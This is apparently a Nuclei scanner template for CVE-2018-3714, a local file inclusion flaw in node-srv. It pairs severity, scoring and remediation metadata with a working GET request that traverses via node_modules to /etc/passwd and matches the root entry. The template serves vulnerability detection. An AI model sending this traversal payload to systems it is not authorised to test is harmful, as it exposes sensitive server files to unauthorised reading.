CVE-2018-3714: node-srv - Local File Inclusion

id: CVE-2018-3714

info:
  name: node-srv - Local File Inclusion
  author: madrobot
  severity: medium
  description: node-srv is vulnerable to local file inclusion due to lack of url validation, which allows a malicious user to read content of any file with known path.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, potentially leading to unauthorized access or information disclosure.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the LFI vulnerability in the node-srv application.
  reference:
    - https://hackerone.com/reports/309124
    - https://nvd.nist.gov/vuln/detail/CVE-2018-3714
    - https://github.com/merlinepedra25/nuclei-templates
    - https://github.com/sobinge/nuclei-templates
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2018-3714
    cwe-id: CWE-22
    epss-score: 0.75099
    epss-percentile: 0.9884
    cpe: cpe:2.3:a:node-srv_project:node-srv:*:*:*:*:*:node.js:*:*
  metadata:
    max-request: 1
    vendor: node-srv_project
    product: node-srv
    framework: node.js
  tags: cve,cve2018,nodejs,lfi,hackerone,node-srv_project,node.js

http:
  - method: GET
    path:
      - "{{BaseURL}}/node_modules/../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
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